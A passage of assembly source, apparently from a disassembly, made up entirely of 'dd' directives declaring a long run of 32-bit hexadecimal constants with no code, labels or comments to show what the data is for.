		dd 3E11B5CFh, 6E62FC03h, 776444B2h, 49B6CD4h, 3AE6929Bh
		dd 811D527Bh, 68316C15h, 0C00994A8h, 12024309h,	10F30039h
		dd 6856C855h, 0AFB8447Bh, 0E127B91Dh, 603D9B23h, 746607BDh
		dd 5CDBB32Ah, 0A4BE6D96h, 0EC6845F7h, 716FF964h, 2F588AB2h
		dd 7D06CDFCh, 583FA5CBh, 0F613C124h, 892E7D14h,	0B5C33CBCh
		dd 5A131F0Bh, 473A286Eh, 7E8E171Bh, 0A68CE6Fh, 20559EC9h
		dd 4402B363h, 0CC689F2Dh, 0C07864h, 0B5EE0877h,	5FF93156h
		dd 0D398DE06h, 8FCD5204h, 809B5D80h, 76C0268Ah,	0AAAAAE3Dh
		dd 91FC3786h, 2867500Fh, 0AA1AEF6Ch, 444BD59Fh,	0DD16F658h
		dd 2E5B4DD9h, 3A3BC0C8h, 95EDC066h, 0D8B2C83Dh,	7F5E1907h
		dd 8AE3FE0Eh, 9AF320C9h, 1003037Ah, 5DFE926h, 307D4553h
		dd 22446A82h, 75A8A897h, 0F742F224h, 3B2F7FD7h,	44160B45h
		dd 0E4A2808Dh, 0A49FDD76h, 0AD3FF138h, 804A90FCh, 9FF313FEh
		dd 0B2D8BE1Ch, 958C0248h, 0D5EAF44h, 0F9E7BE34h, 29CFC192h
		dd 0A9C84D26h, 37E9A832h, 0C51280Bh, 0E0A19FFCh, 62FD66F0h
		dd 0CD9EB483h, 0C1592231h, 0A71FD22Fh, 0A2A715A9h, 0F8C60AA8h
		dd 0BCBC4AF7h, 0E3A56E73h, 0DF82F2A7h, 4EAADA27h, 0A8EC9532h
		dd 0DBBA60EDh, 739E812Fh, 0A64B0B18h, 0F39AD940h, 0C3F1BC38h
		dd 0CCBF4E7Ch, 0F9C521B4h, 33DF1CC0h, 0D55ABDEBh, 0DD72A21Dh
		dd 16C3A5EDh, 39FEC1E6h, 583C4A6Ch, 970AE061h, 1B9CC0ADh
		dd 0D995BBEEh, 212BDAABh, 89D9D0AFh, 0C6F8933Ah, 1D64E76Ch
		dd 0F9EE7B5Dh, 7096C310h, 0EE35BEE1h, 82D10B98h, 58B43A1Fh
		dd 5C745132h, 2838AE1Eh, 10CD013h, 1507F93Ah, 0B3F8B291h
		dd 8F031C22h, 0EFDC1115h, 63D6465Eh, 0C38929D3h, 8E2AB086h
		dd 649C0B83h, 10A4C5D9h, 71C94EC4h, 2EA7BD67h, 1D7B3125h
		dd 38CC9DBDh, 0F9B45342h, 0D343DCC2h, 7BA65D84h, 0D605DC3Eh
		dd 17BACC93h, 3812F0FAh, 945E5C71h, 4D25F960h, 0F065D8C9h
		dd 111399C0h, 3C9E224Ah, 215255E5h, 8FBE8B29h, 5B7FC06Ch
		dd 29AB2E6Ah, 963ADF9Bh, 0C27242ECh, 0FB17001Bh, 0BE81FA53h
		dd 0CAA59CABh, 8BD97100h, 0C30014DAh, 3093958h,	0B81D7A26h
		dd 70932F3Ch, 7DA12E0h,	0B14A3174h, 0B5C29688h,	0A2C91F5Dh
		dd 0C6C0E1A9h, 9766AB3Ah, 19B2FF0Bh, 0AE979FF2h, 5DE3BB43h
		dd 78E3CC0h, 7B49CECAh,	0CE6BD6D0h, 3F9E5ADAh, 0C6085Dh
		dd 36CD37C0h, 0AB97193Ch, 4D4BFB6Bh, 1640C8BCh,	58BD214Fh
		dd 8970C0C5h, 0DA15BBDFh, 0F22D4AD0h, 0C3C0AE50h, 0C4925906h
		dd 5A022BEh, 5466CCF5h,	79F61C91h, 76524D92h, 0B7C488CDh
		dd 0B0AAB68Bh, 3E1345C5h, 819183F1h, 308C9685h,	9C7CC40Eh
		dd 48CD5E3Ah, 43487E0Bh, 87E7CFD2h, 0E7E871D4h,	1C6F0711h
		dd 4B6F24E1h, 98694F63h, 93EE74A9h, 2E9C03A8h, 1A7865D6h
		dd 32587B06h, 0A5CB9CD0h, 7955AE2h, 0ADE4D1A6h,	0DD288F07h
		dd 0C0E84CA4h, 0B69D21E3h, 0AE192D1Fh, 0E8CF2ABBh, 8533EC9h
		dd 18B4C344h, 0AF214A5Fh, 41B4B2C8h, 0BB8F3D41h, 0C0D47079h
		dd 607DC4C2h, 7D6CBD6h,	0FA500889h, 2BCECA16h, 7313DC99h
		dd 0D459C8E8h, 0D314DD4Ah, 0B40B7D5Ah, 0F3DA74E4h, 0BB8357D7h
		dd 0EB20C1BDh, 932D1392h, 0D4239402h, 50E5EB61h, 0CB62A358h
		dd 1EDE7D93h, 320F494h,	0BC662E34h, 0B25A9EB2h,	0A33D97C2h
		dd 0D5A92133h, 8BBF26B8h, 751D17B5h, 0D2AD18EDh, 22B68D6Bh
		dd 1122AE45h, 0A1351937h, 0E3565002h, 0DC937AB8h, 1081C39Ch
		dd 0AED548ADh, 0B5C59A21h, 0A57377AAh, 270C17E5h, 0BFB055E1h
		dd 5C9221AEh, 149E1045h, 0B266D9BFh, 0BBA510Ch,	175754DEh
		dd 67AA4AFDh, 811CB71Dh, 673FC118h, 3F3ACFECh, 0C39A1353h
		dd 28DAD955h, 0C1949DBh, 649CCB75h, 0CA93F8D9h,	5BBF4B0Eh
		dd 0E7D5B444h, 727D47DCh, 0FE208146h, 0CC0DB74Dh, 0D44CFD54h
		dd 0FBC0A8E4h, 5BB011C8h, 0C403E39Eh, 0ADB13B42h, 0FE5EFA2Eh
		dd 2D0331ADh, 145B96EEh, 497D03FCh, 3835E73h, 0BF825B58h
		dd 462CFFFDh, 2B08426Dh, 28FA8BDh, 2F6185C8h, 0D3427ABh
		dd 0C26F444h, 9E739E84h, 2C8F9207h, 0A9DF66B1h,	0E9C948A4h
		dd 0EEA6F2D6h, 2DB49652h, 59C3F2C2h, 7ABFDD36h,	265A1679h
		dd 0D1A87387h, 445B1896h, 9586D4DEh, 0EC66980Eh, 0B677068h
		dd 0BEF4C1E6h, 55D2EC38h, 6F0245ADh, 0DF75E0A4h, 0D831141Dh
		dd 0F9C87A53h, 0A2C3C34Ah, 39F479F8h, 0EBC732A8h, 92846C75h
		dd 9A40A65h, 0B755FF0Fh, 0AB98EE77h, 0E06C5389h, 2409C234h
		dd 0B379FCF4h, 0DEDDFD34h, 68C6C6FDh, 0C75677C8h, 0A7C23D40h
		dd 71A02FE0h, 0A96F254Eh, 45A37D6Fh, 12AC4E48h,	6A12B64Fh
		dd 911C8A12h, 59850FCEh, 8C07EE4Fh, 0C3DA7E0Ch,	7B99DD00h
		dd 75C88DF5h, 6185E910h, 0C1A78AC5h, 4DE9F911h,	0D8EAD4E9h
		dd 7F6896E2h, 0EB9261FEh, 0AA667627h, 0D7B2B4Eh, 6D3254B1h
		dd 5F3F30BFh, 43079A20h, 757619E1h, 21188BB6h, 3D537487h
		dd 27CC1049h, 9C155822h, 0CB24785Dh, 56C172Dh, 0CF60652Eh
		dd 0B27DCC66h, 413B498Bh, 92E74244h, 606E3A22h,	0FF77BE66h
		dd 6EC45E8h, 745AEACh, 0C909198Eh, 11BA3CB4h, 0C68E215Ah
		dd 15D53E6h, 2488EDF9h,	382CDBECh, 52E3A0ABh, 1409C7B6h
		dd 0FA4F06BCh, 62B352B7h, 66625735h, 60AB10A7h,	59A5F845h
		dd 4EB974FAh, 10DFD08Dh, 671AEBE3h, 7D18945h, 0FACC3336h
		dd 2936472Ah, 2F0FC2EFh, 3BB9B561h, 0C9FC2959h,	6A27F5E7h
		dd 99B65838h, 78CCFFFh,	0B679537Dh, 8EE205E8h, 46935C66h
		dd 0D89A7838h, 323747B0h, 6F2D8397h, 0E7EF2379h, 6C660F08h
		dd 8CBFC502h, 0FF68376Dh, 56261327h, 513F7CD9h,	4D70ED40h
		dd 49F455E4h, 0F0A474C3h, 9DEEEEF9h, 0CA91027Dh, 0A240C270h
		dd 0AB1BD42Fh, 0D18F4E72h, 4E3778E0h, 0F9700E16h, 845555EEh
		dd 0C633B087h, 5D90E640h, 4AA82B6Eh, 361F14Dh, 9FE95F1h
		dd 0CB9B94C1h, 34E1EEAh, 9B0A49F8h, 0A9ED53CAh,	0CC2E0EA9h
		dd 0EA383CF8h, 1F0D42F3h, 37084464h, 4B055DEFh,	4A44C26Dh
		dd 0D5394707h, 22F3D513h, 0D9D7006Ah, 0FD040CBBh, 1EFB55D5h
		dd 98994F6Ah, 566D477h,	978ADFF4h, 3B8AC5C4h, 0F480F60Eh
		dd 469B217Bh, 5CEF285Bh, 0ADAE2110h, 5D23602Ch,	6CAE2C7Fh
		dd 0DBE0A66Fh, 15F10796h, 3CEB2390h, 0FF04BE44h, 1273D649h
		dd 84167D47h, 5A940676h
		dd 7DA2CB2Ch, 0CBA32382h, 96F2A866h, 0F80C4F71h, 97E7B3A7h
		dd 3344023h, 0E6DE511Fh, 1948D9AEh, 527E84h, 8C7AF17Bh
		dd 239E53F9h, 0ABEBCC48h, 9F083A8Dh, 63391BB2h,	6C4C0CA4h
		dd 14F435F4h, 5C0C6DBAh, 0B8426943h, 72E5EC3Dh,	0E672FC45h
		dd 0F964EDF4h, 0A178807Fh, 242623C6h, 3AD7D10h,	825D4F4Fh
		dd 0CC402368h, 8E3EF625h, 6B144CD4h, 0D65F7CDh,	0D48A26DEh
		dd 0D7932F80h, 0A9B0880Fh, 2E02467Ah, 24DD3359h, 5464C7E4h
		dd 57ECBE47h, 90165BD5h, 7F76E0CFh, 2F71BC5Dh, 0A824D273h
		dd 4766B8B9h, 0D7A1FE0Ch, 0EC8C8F8Fh, 855AA61h,	328F73FCh
		dd 0BF48BF7Eh, 92EBC948h, 29507674h, 8AB0BB72h,	7178B86Fh
		dd 5D23B0F4h, 57F57DC0h, 143F4038h, 1F167045h, 0F4955BBh
		dd 92EFDF2Ch, 88349346h, 2F764D1h, 0DBD50EA9h, 0E1BB3F9Ch
		dd 0A6989561h, 851E5E9Ch, 1213C11Ah, 2EFF4BAh, 3202BD5Ch
		dd 4E5A9BB4h, 53309170h, 0D4E603h, 709DF072h, 99A8C159h
		dd 343B803h, 19C127DEh,	96E89D72h, 0CCBA601Bh, 0D959D603h
		dd 0E0A1AF29h, 6EB1E4EEh, 0A283E4AEh, 0FF6E142Ah, 0F1EA578Ch
		dd 0BB0A3DEFh, 0A5D3FD59h, 89C578F1h, 9C05A70Ch, 957FABA1h
		dd 0B1DFF064h, 0C1B363B4h, 0E78A9AB3h, 826E5C54h, 0DF9A6156h
		dd 2EA03D5Ch, 35B95F96h, 0CF52AD46h, 0B20EDE15h, 30ED544Dh
		dd 1ABC1F18h, 0A70264B8h, 34D2FF07h, 699B0B39h,	229502C4h
		dd 6FCD3E08h, 0C8DC4490h, 0B93AC508h, 0DE4C6EA7h, 9A986186h
		dd 0ABE979Ah, 0B1E2BDB4h, 5551511Ah, 45D26622h,	0BD10D8EDh
		dd 0E4CD81A9h, 9F8500Dh, 85EF7623h, 9DDA4F61h, 0D74A18Bh
		dd 2655AC7Ah, 0F5EB3AB4h, 0DCCC2F42h, 3929731Ah, 773E33C8h
		dd 0B72034FAh, 6EACA3E7h, 0B9CADA84h, 63BB024Ch, 8D4C8842h
		dd 5A384B4Ch, 41337C5Ah, 5DBC9ED6h, 943FB6E7h, 0B89840F5h
		dd 558C8BF2h, 0A94FF8B2h, 0C270D492h, 0DE5C04E0h, 52291E9Dh
		dd 55A1C95Ch, 9B66AEF3h, 0A1B73ABBh, 9D70F8F8h,	731C5CE1h
		dd 1D0CB214h, 0B978FD0Eh, 0E2FE8F68h, 5D920850h, 3EFAABA2h
		dd 0A2827710h, 9D36BE15h, 0FDE2AD59h, 56A44B69h, 0E72D5A48h
		dd 7CF12580h, 0B71E5F5Bh, 0AF7BC3DBh, 0ABE6307Dh, 59D74F23h
		dd 5FAEF629h, 7E860407h, 0D672D559h, 9694AC47h,	49505A7Eh
		dd 0FC6B9943h, 5AD5A571h, 621E1310h, 0D6A75D49h, 0DA40A320h
		dd 91F70285h, 9F4B9E02h, 387A0F57h, 9405EAF1h, 246A0B01h
		dd 742D603Eh, 0C26C3366h, 0D5E61FF3h, 26680242h, 1AFA3A4Ch
		dd 0EF337373h, 0DAE0E7A5h, 0C8AA9509h, 0DE9F21B0h, 2E803D64h
		dd 0C2229E1Dh, 0B7C97F39h, 384F9420h, 0C5000908h, 1C784A01h
		dd 272A263h, 89687465h,	0E8A8840h, 0D2ED8CDDh, 2F54CD40h
		dd 65D5F83Dh, 51C52F9Fh, 0EBBCA8D6h, 3165BC34h,	0BF2DB6CAh
		dd 0B802979Dh, 82B2B1ACh, 290275ABh, 0E56EEA6Dh, 0E2430F14h
		dd 67C8CE12h, 745B90D8h, 6BD30377h, 7E3EE35Fh, 0C6609932h
		dd 0DD227E78h, 24A0F4CEh, 799354A0h, 0EF312811h, 109A3A3Bh
		dd 7D64F36Fh, 0E0EEDFDAh, 31216B72h, 81E39F14h,	0C4907593h
		dd 0B19FCA75h, 1F40E866h, 0E856463Ah, 27C23BFCh, 0F385B095h
		dd 76F15115h, 0BBCEFA98h, 0F60A471Dh, 31B6C252h, 56072282h
		dd 619421F1h, 1A8EE50Ch, 2B8ED2C4h, 14E1C1DDh, 69305785h
		dd 0F46C473Ch, 94F4126Eh, 96E92F48h, 71A3B164h,	7CABD843h
		dd 0BDF0909Ah, 0AFDFAD13h, 0B3091B4Fh, 51208B59h, 0B288C815h
		dd 734A37Dh, 10F615C7h,	4A9860F9h, 2AEBF2F1h, 6183EFFFh
		dd 7DBECBC2h, 9CEE704Ch, 84D8509Ch, 35BDA45Fh, 0A9A440C6h
		dd 9559D2D8h, 28487DF8h, 0EF018B5Bh, 15FDBB97h,	0D9FE2F72h
		dd 5E903DDAh, 0F00D79EBh, 0CAA685C4h, 0D4A9CD23h, 0AB45A304h
		dd 0DEA30551h, 0E4D520D7h, 75D3B5BCh, 837F528Eh, 0C6D953A3h
		dd 0C944A135h, 0ADE17143h, 548DEEBDh, 0D5638608h, 0D089DB46h
		dd 0AFAF73E1h, 30970FB7h, 32BA1C90h, 7F4F3F6Fh,	0CFBD9570h
		dd 3152C5F4h, 8C18EAA1h, 53EBDADEh, 49657703h, 35AD12FFh
		dd 0B9333BF9h, 1EA87434h, 4E8B5B47h, 0F0F11D4Bh, 9EBB6063h
		dd 709D09B5h, 0A6253769h, 83166325h, 70D2143Ah,	1BB1BAD7h
		dd 682B152Eh, 0E047D322h, 8763EEFEh, 0DBE28AF2h, 5250E34Ch
		dd 13124C79h, 6AA30AD7h, 0E9AA9BDEh, 8184F89Fh,	728AB76Fh
		dd 18A89B29h, 41B4CE82h, 0FB41D85Ch, 9A30B935h,	146ACDBDh
		dd 0A688693Ch, 50C0DF22h, 7C4E226Fh, 0BB645Fh, 90082F0Dh
		dd 27B71814h, 0E9273ECFh, 61F4CE70h, 0D8CC85B6h, 40A5FDC7h
		dd 0AA57F65Bh, 0E76ADF05h, 0B73CD13Eh, 3DBFF1C4h, 0B51EA9E2h
		dd 97797A59h, 62408729h, 0A5701A2Ah, 3F99B182h,	0DCAE7A7Dh
		dd 6A6565A8h, 42AB0FF1h, 0BD2878BAh, 4130B99Eh,	0BFA02589h
		dd 94B1436h, 8345EB02h,	7614B3h, 244983F6h, 4313549Ah
		dd 7663BC61h, 262D5834h, 0D1E0B47h, 0D2A43240h,	567656ABh
		dd 91343B5Bh, 9463CBA7h, 0C65B82E5h, 5039ACDDh,	0E829A9A9h
		dd 0EA380996h, 571FC424h, 4728C4A5h, 0F3734AFAh, 996F7E9Fh
		dd 0B775B2CEh, 52408216h, 5A34805Dh, 0D87EF736h, 0E21C6A6Eh
		dd 0EB6993E6h, 6725F8C4h, 0DAF488D8h, 40C8A609h, 0B9B65557h
		dd 3A802802h, 5A5E823Ah, 3CF50B21h, 0C4BE1BF5h,	5F566EEDh
		dd 89DD688Ah, 0E4E5BDBBh, 95A53358h, 685AA5AFh,	2B906CB1h
		dd 0B8BB3DFFh, 63417D61h, 66E543A5h, 1F971E18h,	34EE7FD7h
		dd 0EC3C2E6Bh, 8F8D0262h, 8699387Ch, 222139D0h,	24CCE04Ah
		dd 1D4F974Ch, 1779C401h, 5EEEA923h, 0AE680D48h,	0E05C8201h
		dd 22B108F1h, 18AFC235h, 9110E91h, 9E235A15h, 2A4C1075h
		dd 7369AAE3h, 50DA3EFBh, 1A5A7A95h, 0D179D4E6h,	3834B46Ch
		dd 0CB34020Bh, 0D3BD230h, 92B3844h, 730B4DDAh, 3AE51621h
		dd 0D0D9A4EEh, 5FA3AE11h, 7207AE5h, 49F6DF35h, 0DA93A2A8h
		dd 577FBFE7h, 6DD0C271h, 0D3E956h, 343978BBh, 0A811DE53h
		dd 4BA0A822h, 91A21C81h, 0E76C6366h, 0A62D0551h, 92CE3CF2h
		dd 536FBEBEh, 7B95D65Dh, 0D11D34h, 231E35C5h, 0BF25A665h
		dd 1BD7240Fh, 208ED545h, 925B9DF9h, 8FF7342Ch, 3496CD5Eh
		dd 323ED444h, 0F8965EB0h, 9409C97Dh, 0EC06C748h, 83BA8ED3h
		dd 68716B0Ch, 0AFB5367Bh, 0F63FCCD2h, 0E8D6F2E5h, 0C554B5A5h
		dd 0F31C907Dh, 150F9B0Fh, 0F6A49D63h, 8D67CD91h, 81862EF8h
		dd 7DA689CDh, 6514056Eh, 317DBA50h, 0E14600C3h,	0E66E6787h
		dd 1FAD4507h, 0D52DC4E8h, 42139405h, 0BA7AE94Dh, 0DE8F53BDh
		dd 17FDC229h, 0E8FA5932h, 88026AB2h, 38692802h,	7AE6605Eh
		dd 0BD23BCEEh, 0F30A878Fh, 9BE44C4Fh, 0A63B5ABDh, 92E97868h
		dd 0E035023Fh, 0E969E0BFh, 2A1EA816h, 965FD33Eh, 0FCC84012h
		dd 0CCC69701h, 0A06FF55h, 532767FCh, 0C03A4008h, 7AD6E16Ah
		dd 2C4A22A8h, 0F9819945h, 0A4008A9Ah, 0D12E9434h, 0AAECC8C1h
		dd 5F2761E4h, 44F5706Eh, 0B4BD320Eh, 66A69846h,	0A220AA1Eh
		dd 3D432C48h, 72046418h, 551A4DA2h, 26EBBC89h, 9217A12h
		dd 8D847C0Dh, 9CE7679Eh, 24BE4EC4h, 0BC0462F2h,	757A1BF4h
		dd 7042E72Bh, 7E985273h, 257C4772h, 0A2740C60h,	4A87C96Ch
		dd 0B0063C74h, 5285228Ah, 54E548C9h, 8F67EB1Bh,	3E090630h
		dd 5A81DB67h, 472E85FAh, 14440498h, 0CEB427A9h,	0B74A522h
		dd 16F0B4A3h, 7ED12D2Bh, 0F8F7821h, 5C5BA01Fh, 81481C74h
		dd 0B183EA97h, 0C7EC126Ah
		dd 1884D62Dh, 9DFFF7CCh, 6002AEAAh, 745C6F43h, 3A9F619Ah
		dd 72EB2E47h, 0FFF17934h, 0EE8A5E44h, 41E69DB1h, 0BADCDE6Eh
		dd 32D0F537h, 0DFD8B03Dh, 28BEACB4h, 0C9A55E06h, 0B2AE8204h
		dd 194FF183h, 50DCCD19h, 0DE375CA8h, 1EC4ABA8h,	0A367FBD2h
		dd 9A9F8E2Dh, 2204508Bh, 0DD3BDA65h, 635101C7h,	0CB382610h
		dd 0A75B496Ah, 22E1BE6Dh, 8C9EE664h, 33F4E746h,	0B86354F5h
		dd 0CF8D365Ch, 85253A95h, 80D802B5h, 0B36038A4h, 0ADC750D8h
		dd 58E4D080h, 0B0905207h, 3AF7E64h, 72F109F6h, 5BC58C8Bh
		dd 0D5297B3Ah, 8656E4F2h, 0AD7C68FCh, 41B72641h, 4932D022h
		dd 0F7B5F326h, 363141F3h, 0F59E9A7h, 901664h, 0C037CBD6h
		dd 0D01C5421h, 66A83321h, 0AE56AEAAh, 0DECDAC73h, 536F5BBCh
		dd 506F86A6h, 8D002EA3h, 62EEE393h, 0AC34EC3h, 5F2848BCh
		dd 0ED0936C0h, 0BB103D44h, 5B086A43h, 8B1CF380h, 0D4F6B8Bh
		dd 0FCD06A2Ah, 0EB98E0ADh, 7BB57E57h, 0E9ADE554h, 39F7112Ah
		dd 19047FACh, 0C2BE5F7Fh, 720A10h, 0DF845DB5h, 0F4521815h
		dd 98B7C1Dh, 82CCC63Fh,	664DFF82h, 3C8FDC73h, 104DEB1Fh
		dd 162AC438h, 9816257Dh, 7C3B5238h, 5B4C8338h, 5E42147Ch
		dd 542C3905h, 0A0B2FC11h, 0FDC8D8B0h, 0CEF94363h, 0B95C0BE9h
		dd 0EB879086h, 62260150h, 8E87D4ABh, 0F6C6A316h, 0ACE06396h
		dd 58250B4Eh, 0D0E1008Ah, 0A8ED6C9Eh, 97A4FEB0h, 44DBAC00h
		dd 0A45BB20Eh, 5C3E7F3Fh, 6F9EDCFFh, 0F0CF5B6Dh, 775639C0h
		dd 9124C3BAh, 0F6596906h, 5C2FB070h, 0D49F9CDDh, 5FA856CBh
		dd 2AE93C2Ch, 1B2DC59Ah, 7EAD2CE4h, 2C8276C0h, 6C63306h
		dd 0E5F745D0h, 4F34AC8Eh, 4FD031F8h, 0AF8EDF6Bh, 0D56534EDh
		dd 5C125D27h, 0C7D379Eh, 0D8EE8D2Dh, 0ED015236h, 1094E034h
		dd 0FF5CA563h, 0C11E6B2Eh, 7442BC0Fh, 0DBF2E301h, 7E98301Ch
		dd 0B2E4300Eh, 48EECD79h, 5AF424DBh, 4D20F49Ah,	0AB602570h
		dd 0E355D536h, 2DF398AFh, 8C499BD2h, 69085DF7h,	3CF78DA8h
		dd 0F6A21CCDh, 0C80AE57Dh, 432BA587h, 0AF2A9480h, 7FDC796Fh
		dd 97A71B7Eh, 2CA6A67h,	300D12CEh, 0A23E2595h, 82D91BF4h
		dd 0AB05D5BDh, 3ECFFCE4h, 7454A337h, 0A4A32543h, 65F29B4h
		dd 0A2931DE9h, 74DF6207h, 264289E1h, 64BA1E74h,	373987ADh
		dd 0C2ACACF0h, 0FB5015B8h, 128A06ECh, 536AD4F7h, 0B45003B1h
		dd 461DA977h, 7AF51CB2h, 0BF3FC376h, 0C4DAEF02h, 3C5D330Ch
		dd 0A79CE182h, 1F02BD51h, 0F80943h, 6C8FD1D8h, 0B79344CEh
		dd 0FE033D99h, 0E25773D9h, 0C58FC472h, 5A4E3055h, 0A6115148h
		dd 0FD916574h, 4CC5E9FAh, 0CDF6F09Ah, 44463EFBh, 0F804A8ECh
		dd 1F568EF9h, 11992500h, 82A2D4A3h, 9B44AE47h, 4B5C0E18h
		dd 0E17C33A1h, 23F66510h, 62828713h, 0FE12A6ACh, 0DB5CF339h
		dd 409EA9FBh, 0AEE62475h, 0AC6E88Bh, 6D72BC37h,	0BA95B54Ch
		dd 9B8B685Bh, 71469C00h, 0FECCC1FCh, 65AB9BACh,	0BBF1D87Fh
		dd 18C6AC91h, 0F7CA1124h, 0B1E7A917h, 0F351765h, 0CC8974B7h
		dd 45F8EC6Ch, 2975C906h, 0A978F612h, 0D76627Ah,	30AC473Fh
		dd 0B0DDCA32h, 0FFF58F1Ch, 0B5E673Dh, 0BC0DCC30h, 55BA0EFh
		dd 0D360BA2Ch, 0AD883AC7h, 29DD451Bh, 7E26F72Dh, 0FCBEE7A1h
		dd 0E44C6E53h, 8F31D1BBh, 7754C3D8h, 60932418h,	352702CEh
		dd 3EA4E7BEh, 285C9589h, 0C96FD39Ch, 81FE9750h,	0F19EB02Fh
		dd 74F2CFD5h, 0E7FC595Ah, 0CC592977h, 49027244h, 0DC91F92Eh
		dd 6541F7E7h, 0B5A2B1FAh, 0F1C5B7B1h, 0DD260D04h, 2AC5FAB4h
		dd 0FF99007h, 6B0ABF0Dh, 57F64B1h, 8A3ADC2h, 0B5EB73EBh
		dd 0F4FD6751h, 9EA98EE6h, 22429E85h, 0BB6CEEEAh, 398D2D82h
		dd 2B4AEFE0h, 460AD39Eh, 0AC9D012Fh, 0B609706Dh, 96B5CD2h
		dd 60D291F6h, 229C4773h, 0ECF4FBBFh, 5BEA35A6h,	46C73514h
		dd 27729AE6h, 44027B1Ah, 2868E261h, 89F0CF5h, 95F270CFh
		dd 1737B39Ah, 6E10B0FDh, 1C529179h, 0F5A89938h,	0B9348B2Dh
		dd 0BD6CAA11h, 2F1A5AF2h, 0BDE2DA12h, 5E366173h, 48A09DF1h
		dd 0E6BE0AF8h, 2E8A7FA6h, 3AB63D0Ah, 0F5F10905h, 6469F5D4h
		dd 0D2518ECEh, 0D57EB8B7h, 0EC9AEDE7h, 4E14ACCBh, 0C17C7670h
		dd 212C80A7h, 0F7CE9618h, 0E69643AAh, 87D0EA50h, 30CBE1DCh
		dd 0A0A70896h, 0CFEE3726h, 3C339695h, 0F717812Dh, 0DC896741h
		dd 88787DE7h, 0D7DFB8A6h, 0C317A128h, 49DC3E3Bh, 0D783EEA4h
		dd 0F809AB84h, 0F6E1A10Dh, 277013C1h, 779CBFEDh, 0B196DCECh
		dd 4DB04394h, 0F432B372h, 0DF451202h, 1D1FD29Eh, 6CF66220h
		dd 1231389Ah, 9CF3ECCCh, 0E3895853h, 79FCA98Ah,	97168200h
		dd 0CD7AE43Bh, 0B4155B8Eh, 1764C2DBh, 87913AF8h, 0FB4AE204h
		dd 5689EE32h, 95047692h, 6083E8BAh, 2C519630h, 6E971162h
		dd 5D0F6A04h, 7D65800Bh, 9F5E4943h, 0F87114C8h,	867A38C4h
		dd 438D1AC1h, 857CEBB6h, 5CCE745Bh, 3AA617AEh, 0E99ECF03h
		dd 0D1AE0A86h, 6E87B692h, 3BD6E61h, 0A5375119h,	0F9DFBFB7h
		dd 0AB21463Ch, 95075E48h, 31717B8h, 17BC4D56h, 85039186h
		dd 569E13BEh, 3E8194D6h, 0E4154F0Dh, 3E6BE9D2h,	0BB294E3Bh
		dd 0EF24E418h, 7DED0A4Dh, 5EC41D07h, 0C7E4C8F1h, 1C9D6BC3h
		dd 7830DBE5h, 5D6E3EE0h, 899AE212h, 5DD5427Bh, 6E25EC8Fh
		dd 5B258B75h, 75146733h, 0B6B0169Eh, 94D98B5Bh,	0D1044395h
		dd 1BBF4318h, 6F5BC146h, 26F9E563h, 68B20B15h, 591FEA88h
		dd 0F3B6C161h, 0BBDFDF4h, 0B54B0ECEh, 315CBCEAh, 8FFA74FCh
		dd 4E9E2653h, 5E15E773h, 0C1929229h, 0A9197398h, 88FC3EA9h
		dd 0E99E5F87h, 9056AAE8h, 89BD037Eh, 2E6C7D48h,	32194A88h
		dd 216CE5FEh, 593B7CB5h, 3696C26Ch, 0C5C76496h,	6153DA97h
		dd 4B303D38h, 47FE1E90h, 2E2646A2h, 0B60750CAh,	9D6AE622h
		dd 98391312h, 7B87299Bh, 6F411ECFh, 39C1190Ch, 7640E2EBh
		dd 0D621CCA8h, 98564395h, 90A39E68h, 0FD3337FBh, 4B6B9FB0h
		dd 7DAE2193h, 533EFBD5h, 90843C8Dh, 0F746576Ch,	0C613860Eh
		dd 8052AFAAh, 3E6241DCh, 8BDE0EA9h, 2A33FF4Fh, 3921FD12h
		dd 2E180E8Ch, 31A14266h, 0BEED53B4h, 6016F235h,	143DA7C5h
		dd 49D7EF6Fh, 484E6356h, 0C0721341h, 5526755Ah,	87B061Fh
		dd 6D90A974h, 0F2E336F1h, 8549560Fh, 0F1C3F393h, 0EBA6EA5Eh
		dd 0BDD09580h, 0B52D6A2Ch, 382D299Fh, 0CF30823Ch, 34E228ABh
		dd 861952Ah, 7DBCF136h,	1926EED9h, 86150301h, 65F62C7Eh
		dd 8A11CD97h, 27D55268h, 6B7200BBh, 0ACA04E83h,	42789023h
		dd 3E67C89Dh, 2118D330h, 8E0FD4ABh, 0AA0FF99Ch,	817FA5BEh
		dd 0E01369F9h, 7222D18Dh, 0ACC235C8h, 78F0BD8Dh, 5A168567h
		dd 0D0A8DAACh, 0CA5F2A2Dh, 0DF1098E7h, 6DFE19D1h, 0D11D3571h
		dd 7E05A7CAh, 1872B1FBh, 433BC875h, 0AA5223CBh,	48C619F5h
		dd 8D8A8155h, 7015EFC9h, 0A1E2B888h, 72264519h,	0BFFCE246h
		dd 46F12181h, 85AC9D5Bh, 20F03042h, 0A3D16DF5h,	0CA304CBFh
		dd 0D7FD15Bh, 99ED15D4h, 9AF93C61h, 0D271BB78h,	0A2F681F5h
		dd 7DD91CDh, 0AE6A8225h, 0AE44D32Ah, 68CAB426h,	3D856C9Eh
		dd 0FB81498Bh, 0E769B1Fh, 0E17A69B8h, 0DFD31D26h, 890B50E4h
		dd 0D0D23E77h, 48DC2CE3h, 0B3C9D037h, 44A1162Ah, 0EAAE3035h
		dd 4CDF0C68h, 3B21979Eh, 24DE14D8h, 0A61E30A6h,	61B159EAh
		dd 0BCF3E4D9h, 0C050D245h, 9C5994F1h, 0E86EC402h, 975DABE8h
		dd 0C469824Bh, 6CA3468Dh
		dd 321B9F3Ah, 8E875758h, 34384699h, 4E417F10h, 3D2B0D6Dh
		dd 6BA2F090h, 0FE6D4872h, 0BE5D0068h, 6FB81028h, 0EA9B55A0h
		dd 2A53E26Dh, 4AB4DD5Ch, 8119FF8h, 646FE28Ch, 3EEE1F26h
		dd 0CBE1490Fh, 0B25C4F33h, 35F4D02Ch, 846F8CD7h, 75A4B9F5h
		dd 0D7C5DF6h, 6106075Dh, 0BE03453Dh, 0B9D9C131h, 9E02370Ch
		dd 214421E6h, 24B602D7h, 59631773h, 0DFC461A7h,	0BEA86F38h
		dd 0D4DBFE42h, 0AED53277h, 43C60F8Dh, 6A2529CBh, 3FC901C2h
		dd 0E580C90Ah, 2EB64456h, 87265225h, 0C1DF16E7h, 5479ACD2h
		dd 0C64C38EDh, 0D9EAC097h, 133E1DADh, 0BA36339Dh, 66A76A55h
		dd 3415261Ch, 0EB191314h, 1329542h, 0AF952C78h,	782EE7C8h
		dd 0B6B1A64h, 0EBD89FB1h, 41AD7A6Ah, 0E403E336h, 98665D03h
		dd 4859B472h, 32D0FECFh, 0DA545EF0h, 209BC088h,	0C44FF632h
